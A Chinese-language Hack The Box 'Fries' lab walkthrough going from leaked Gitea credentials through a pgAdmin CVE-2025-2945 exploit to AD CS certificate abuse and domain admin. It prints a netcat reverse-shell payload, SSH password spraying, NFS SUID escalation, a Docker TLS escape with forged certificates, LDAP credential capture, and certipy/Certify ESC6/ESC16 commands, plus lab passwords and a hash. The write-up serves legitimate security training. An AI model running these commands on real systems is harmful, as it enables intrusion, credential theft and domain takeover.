HTB Fries 靶机实战：从 Gitea 凭据泄露到 AD CS 证书攻击

信息收集汇总

域名系统

网络服务

凭证信息

安全教训

将包含密码的 .env 文件提交到了仓库，虽然之后删除了，但凭证依旧在推送记录里。凭证泄露问题直接导致了整个系统沦陷。世界上有些东西是无法 git reset --hard 的，比如推送记录里的密码。

初始访问

CVE-2025-2945

描述

pgAdmin 4（查询工具和云部署模块）中存在一个远程代码执行安全漏洞。该漏洞与两个 POST 端点相关：/sqleditor/query_tool/download 中的 query_committed 参数，以及 /cloud/deploy 中的 high_availability 参数。这些参数被不安全地传递给 Python 的 eval() 函数，从而导致任意代码执行。

参考

• NVD 漏洞数据库：https://nvd.nist.gov/vuln/detail/CVE-2025-2945
• pgAdmin4 查询工具认证 RCE PoC: https://github.com/Cycloctane/cve-2025-2945-poc

此漏洞影响的 pgAdmin 4 版本为：9.2 之前的所有版本。

利用 pgAdmin 漏洞

使用公开 PoC 执行命令注入，获取反向 Shell：

python3 exp.py --target-url http://db-mgmt05.fries.htb --username [email protected] --password 'D4LE11maan!!' --db-name ps_db --db-user root --db-pass 'PsqLR00tpaSS11' --payload "__import__('os').system('rm /tmp/A033;mkfifo /tmp/A033;cat /tmp/A033|/bin/bash -i 2>&1|nc 10.10.16.28 4033 >/tmp/A033')"

横向移动

环境变量泄露凭据

在容器内执行 env 发现：

• PGADMIN_DEFAULT_EMAIL=[email protected]
• PGADMIN_DEFAULT_PASSWORD=Friesf000s202511

密码喷射攻击

根据收集到的凭据制作字典

cat > users.txt << "EOF"
root pgadmin pgadmin4 svc_infra svc admin administrator guest postfix vmail ftp sshd ntp
EOF

cat > passwords.txt << "EOF"
D4LE11maan!! PsqlR00tpasS110A y0st528wn1idjk3b9a Friesf00Ds2025!!
EOF

使用 hydra 对 SSH 进行密码喷射

hydra -L users.txt -P passwords.txt ssh://10.10.11.96 -vV -t 6 -I -f

成功发现有效凭据：

• 用户：svc
• 密码：Friesf00Ds2025!!

SSH 登录

ssh [email protected]

登录后检查：

svc@web:~$ sudo -l
[sudo] password for svc: Sorry, user svc may not run sudo on web.
svc@web:~$ id
uid=1000(svc) gid=1000(svc) groups=1000(svc)
svc@web:~$ ls -la /var/run/docker.sock
srw-rw---- 1 root docker 0 Nov 29 04:27 /var/run/docker.sock
svc@web:~$ ps aux | grep dockerd
root 923 0.0 2.7 1955936 79588 ? Ssl 04:27 0:09 /usr/bin/dockerd -H fd:// --containerd=/run/containerd/containerd.sock --authorization-plugin=authz-broker --tlsverify --tlscacert=/etc/docker/certs/ca.pem --tlscert=/etc/docker/certs/server-cert.pem --tlskey=/etc/docker/certs/server-key.pem -H=127.0.0.1:2376

svc 无 sudo 权限，发现 Docker socket 存在，Docker 守护进程以最高权限运行，并且启用 TLS 证书加密验证，配有授权插件进行权限控制，双重访问方式「本地 Socket + 远程加密端口」。

扫描内部网络

python3 -c "import socket; services={22:'SSH', 80:'HTTP', 111:'RPC', 443:'HTTPS', 2049:'NFS', 3000:'Node.js', 8443:'HTTPS-Alt'}; [print(f'Port {p} ({services.get(p, \"Unknown\")}) - Open') for p in [22,80,111,443,2049,3000,8443] if socket.socket().connect_ex(('172.18.0.1', p)) == 0]"

权限提升

发现 NFS 共享

svc@web:~$ showmount -e 172.18.0.1
Export list for 172.18.0.1:
/srv/web.fries.htb *

NFS 可读写。当在客户端操作 NFS 文件时，服务端只看客户端的 UID 和 GID，这是否是一个权限提升的路径？我们查看一下其他用户的 UID 和 GID。

从 /etc/passwd 中提取的重要用户：

攻击链

现在有 NFS 内网服务端口，用户的 UID 和 GID，NFS 对所有内网 IP 开放，并且可读写，基于 NFS 的 UID/GID 认证机制，我们可以尝试这样的 SUID 攻击：

Kali (UID 117) → NFS 挂载 → 创建恶意 SUID 文件 → 目标系统执行 → barman 权限

在 Kali 上创建冒充 barman 的用户 A033，用 Chisel 转发 NFS 端口以支持 Kali 正常访问该服务，在 Kali 上挂载 NFS 共享，将 svc 的 bash 复制到共享目录下，使用 A033 的身份复制 svc 的 bash 并赋予完全权限，这时以 svc 运行这个具有 SUID 位的 bash 时就会从 svc 用户转移到 barman 用户。

使用 Chisel 建立隧道

Kali 端：

./chisel server -p 8011 --reverse

目标端：

./chisel_x86 client 10.10.16.28:8011 R:2049:172.18.0.1:2049 R:111:172.18.0.1:111

SUID 提权

在 Kali 上创建匹配用户

sudo groupadd -g 59605603 A033
sudo useradd -u 117 -g 59605603 -M -s /bin/bash A033

挂载 NFS 共享

sudo mount -t nfs -o vers=4,port=2049 localhost:/srv/web.fries.htb /mnt/fries

创建恶意 SUID Shell

svc

# 切换到 NFS 共享目录
cd /srv/web.fries.htb/shared
# 复制 bash 到共享目录，为后续 SUID 提权准备
cp /bin/bash /srv/web.fries.htb/shared/svc_bash

A033

# 在 NFS 共享中复制 svc 创建的 bash 文件
cp /mnt/fries/shared/svc_bash /mnt/fries/shared/A033_bash
# 设置 SUID+SGID 权限，使任何用户执行时都以文件所有者权限运行
chmod 6777 /mnt/fries/shared/A033_bash

svc

# 执行 SUID bash，-p 参数保持特权权限，实现提权
./A033_bash -p

成功移动到 barman。

Docker TLS 逃逸

共享目录里的证书文件

A033_bash-5.1$ ls -la
total 20
drw-r-xr-x 5 655 root 4096 May 28 2025 .
drwxr-xr-x 3 root root 4096 May 27 2025 ..
drwxrwx--- 2 root infra managers 4096 May 26 2025 certs
drwxrwxrwx 2 root root 4096 Nov 29 08:30 shared
drwxr----- 5 svc svc 4096 Jun 7 13:30 webroot
A033_bash-5.1$ cd certs
A033_bash-5.1$ ls
ca-key.pem server-cert.pem server-key.pem ca.pem server.csr server-openssl.cnf
A033_bash-5.1$ ls -la
total 32
drwxrwx--- 2 root infra managers 4096 May 26 2025 .
drw-r-xr-x 5 655 root 4096 May 28 2025 ..
-rw-r----- 1 root infra managers 1708 Nov 29 08:40 ca-key.pem
-rw-r----- 1 root infra managers 1111 Nov 29 08:40 ca.pem
-rw-r----- 1 root infra managers 1115 Nov 29 08:40 server-cert.pem
-rw-r----- 1 root infra managers 940 Nov 29 08:40 server.csr
-rw-r----- 1 root infra managers 1704 Nov 29 08:40 server-key.pem
-rw-r----- 1 root infra managers 205 Nov 29 08:40 server-openssl.cnf

这个运维配置了理论上的安全机制：

• 通信是加密的，很安全！
• 只有有证书的人能连接，很安全！
• 命令还要经过审批，很安全！

但是 barman 属于 infra managers 组，可以读取所有 root 拥有的证书文件，并且 Docker 守护进程现在正以 root 权限运行，barman 可以用 CA 签发伪造证书，绕过 TLS 和插件的认证，提权到 root 掌控整个 WEB 服务器。

生成客户端证书

# 生成 RSA 私钥，用于客户端认证
openssl genrsa -out root-key.pem 2048
# 创建证书签名请求，设置通用名称为 "root" 以绕过授权检查
openssl req -new -key root-key.pem -out root.csr -subj "/CN=root"
# 创建扩展配置文件，指定证书用于客户端认证
echo "extendedKeyUsage = clientAuth" > ext.cnf
# 使用 CA 证书和私钥签发客户端证书，有效期为 10 年
openssl x509 -req -in root.csr -CA ca.pem -CAkey ca-key.pem -CAcreateserial -out root-cert.pem -days 3650 -extfile ext.cnf

使用伪造的证书连接 Docker API

docker --tlsverify -H=127.0.0.1:2376 --tlscacert=ca.pem --tlscert=root-cert.pem --tlskey=root-key.pem run -it --privileged -v /:/host fries-web bash
# 使用伪造的 root 身份证书通过 TLS 认证连接到 Docker 守护进程
# --privileged 赋予容器所有特权
# -v /:/host 将主机根目录挂载到容器内

逃逸到主机

chroot /host
# 切换根目录到主机的文件系统

User Flag

在 /root/.ssh 中找到私钥 id_rsa，保存并登录

ssh -i root_id_rsa [email protected]

成功获取 user flag。

域渗透

破解 PWM 配置密码

在 /root/scripts/pwm/config/ 中找到 PWM 的配置文件 PwmConfiguration.xml，在配置文件中搜索密码相关字段找到：

<property key="configPasswordHash">{REDACTED}</property>

使用 John 破解

john --wordlist=/usr/share/wordlists/rockyou.txt pwm_hash.txt

得到密码：[REDACTED]

访问 PWM 配置面板

在 PWM 中使用凭据 [REDACTED] 成功进入 Configuration Editor。

• PWM 当前处于配置模式。此模式允许在不先进行 LDAP 目录身份验证的情况下更新配置。此模式下不可使用最终用户功能。
• 在验证 LDAP 目录设置后，请使用配置管理器限制配置以防止未经授权的更改。限制后，配置仍然可以更改，但必须首先进行 LDAP 目录身份验证。

PWM 系统正处于配置模式，完全开放的配置访问，无需 LDAP 认证即可修改配置。

下载配置文件

在 Configuration Manager 面板可以下载配置文件，这里还有一个有趣的提示：

• 警告：配置下载文件包含敏感的安全信息，包括安全凭证，请妥善处理。

检索配置文件

• <property key="configIsEditable">true</property> #配置模式
• <value>{"type":"ldapUser","ldapBase":"CN=svc_infra,CN=Users,DC=fries,DC=htb"}</value> #svc_infra 是 PWM 管理员，也是 LDAP 代理账户

当 PWM 认证用户时，会执行 LDAP bind 操作，LDAP Bind 请求包含：

• bind_dn = "CN=用户名，CN=Users,DC=fries,DC=htb"
• password = "用户密码"

那么利用配置模式修改 LDAP 设置，使用 Metasploit 的 LDAP 捕获模块，就可以获取到 svc_infra 或其他用户的凭证。

PWM 认证劫持

在 PWM 中添加恶意 LDAP 服务器

ldap://10.10.16.28:4033

正常认证流程：

用户登录 PWM → PWM 向 10.10.16.3:389 发送认证请求 → 真实 LDAP 验证 → 返回结果

攻击后的流程：

用户登录 PWM → PWM 向攻击者 IP:4033 发送认证请求 → 攻击者捕获凭证 → 返回失败

MSF 捕获凭证

use auxiliary/server/capture/ldap
set SRVHOST 0.0.0.0
set SRVPORT 4033
run

┌──(kali㉿Nuii)-[~] └─$ nxc ldap fries.htb -u 'svc_infra' -p '{REDACTED}'
LDAP 10.10.11.96 389 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:fries.htb)
LDAP 10.10.11.96 389 DC01 [+] fries.htb\svc_infra:{REDACTED}

捕获到 svc_infra 的密码：[REDACTED]

服务枚举

目标环境：

• 域控制器：DC01.fries.htb (10.10.11.96)
• 操作系统：Windows Server 2019 Build 17763
• 域：fries.htb
• 有效账户：svc_infra

认证结果：

LDAP 服务凭证有效，使用 LDAP 凭证进行 BloodHound 信息收集。

BloodHound 信息收集

时钟同步

sudo ntpdate 10.10.11.96

NetExec 收集域信息

nxc ldap 10.10.11.96 -u 'svc_infra' -p '{REDACTED}' --bloodhound --collection All --dns-server 10.10.11.96

BloodHound 分析

将收集的数据导入 BloodHound 进行分析。

账户详情：

• 名称：[email protected]
• 类型：组托管服务账户 (GMSA)
• 描述："用于证书颁发机构操作的 GroundArrayedServiceAccount"

域信息：

• 域：FRIES.HTB
• 域 SID：S-1-S-21-858338346-3861000516-3975240472

SVC_INFRA 账户有权读取此 GMSA 的密码（ReadGMSAPassword），我们已经有 SVC_INFRA 的有效凭证，可以提取 GMSA_CA_PROD 的密码。GMSA 专为服务设计，具有自动管理的密码，并且此账户用于证书颁发机构操作，可能具有高度特权。

获取 GMSA 哈希

nxc ldap 10.10.11.96 -u svc_infra -p '{REDACTED}' --gmsa

得到：

• 账户：gMSA_CA_prod$
• NTLM 哈希：[REDACTED]

SharpHound 信息收集

上传 SharpHound

Invoke-WebRequest -Uri "http://10.10.16.28:8033/SharpHound.exe" -OutFile "SharpHound.exe"

使用数据收集器执行所有可能的信息收集方法

.\\SharpHound.exe -c All --domain fries.htb --domaincontroller 10.10.11.96 --OutputPrefix A033

下载数据压缩包

download A033_20251129060804_BloodHound.zip

BloodHound 分析

将收集的数据导入 BloodHound 进行分析。

从 BloodHound 可以清晰的看到，SVC_INFRA 是 DOMAIN USERS 组的成员，继承该组的所有权限，DOMAIN USERS 对多个证书模板（CLIENTAUTH/EFS/USERSIGNATURE/USER）有 Enroll 权限，意味着 SVC_INFRA 不仅能篡改 CA 策略，还能直接用自己的身份申请这些模板的证书。简单来说，SVC_INFRA 本身就同时握有 GMSA 权限（控制 CA）和证书模板 Enroll 权限（申请证书），相当于'钥匙和锁都在手里'，完美具备 AD CS 攻击的能力。

攻击链

权限继承链：

SVC_INFRA → ReadGMSAPassword → GMSA_CA_PROD$ (CA 服务账户) SVC_INFRA → Domain Users 成员 → 证书模板 Enroll 权限

SVC_INFRA 这个账户同时拥有：

• "颁发者"权限（通过控制 CA 服务账户）
• "申请者"权限（通过 Domain Users 组成员）

SVC_INFRA 这种既当'颁发者'又当'申请者'，这直接造就了 SVC_INFRA 的存在就是漏洞本身。

AD CS 证书攻击（ESC6 + ESC16）

添加 Officer 权限

certipy-ad ca -u '[email protected]' -hashes :fc20b3d3ec179c5339ca59fbefc18f4a -ca fries-DC01-CA -target DC01.fries.htb -dc-ip 10.10.11.96 -add-officer 'gMSA_CA_prod$'

• 添加 Officer 权限，获取 CA 管理控制权
• 将 GMSA_CA_PROD$账户添加为证书颁发机构 (CA) 的管理员
• 利用 GMSA 账户的哈希认证获取 CA 管理权限，为后续修改 CA 策略做准备

启用 ESC6

.\\Certify.exe manage-ca --ca FRIES.HTB\fries-DC01-CA --esc6

• 启用 EDITF_ATTRIBUTESUBJECTALTNAME2 标志
• 允许在证书请求中通过 SAN(主体替代名称) 字段指定任意 UPN
• 即使证书模板配置安全，也能通过 SAN 字段为任意用户申请证书

启用 ESC16

.\\Certify.exe manage-ca --ca FRIES.HTB\fries-DC01-CA --esc16

• 启用 MANAGE_CERTIFICATES 权限
• 允许 CA 管理员修改任意证书模板的安全描述符 (ACL)
• 可以给任意账户添加高权限模板的 Enroll 权限

重启证书服务

Stop-Service certsvc -force
Start-Service certsvc

• ESC6 和 ESC16 的配置修改需要重启证书服务才能生效

请求管理员证书

certipy-ad req -u '[email protected]' -p m6tneOMAh5p0wQ0d -ca fries-DC01-CA -template User -subject "CN=Administrator,CN=Users,DC=fries,DC=htb" -upn [email protected] -sid 'S-1-5-21-858338346-3861030516-3975240472' -dc-ip 10.10.11.96 -dcom

• -upn [email protected]: 通过 SAN 字段指定管理员 UPN
• -subject: 指定管理员 DN
• -sid: 指定管理员 SID

认证获取管理员哈希

certipy-ad auth -pfx administrator.pfx -username administrator -domain fries.htb -dc-ip 10.10.11.96

• 使用证书认证获取管理员哈希
• 将管理员证书转换为可用的 NT 哈希和 Kerberos 票据

成功获取管理员 NTLM 哈希和 Kerberos 票据

Root Flag

使用管理员 NTLM 哈希登录

evil-winrm -u administrator -H {REDACTED} -i 10.10.11.96

在 C:\Users\Administrator\Desktop\ 中找到 root.txt。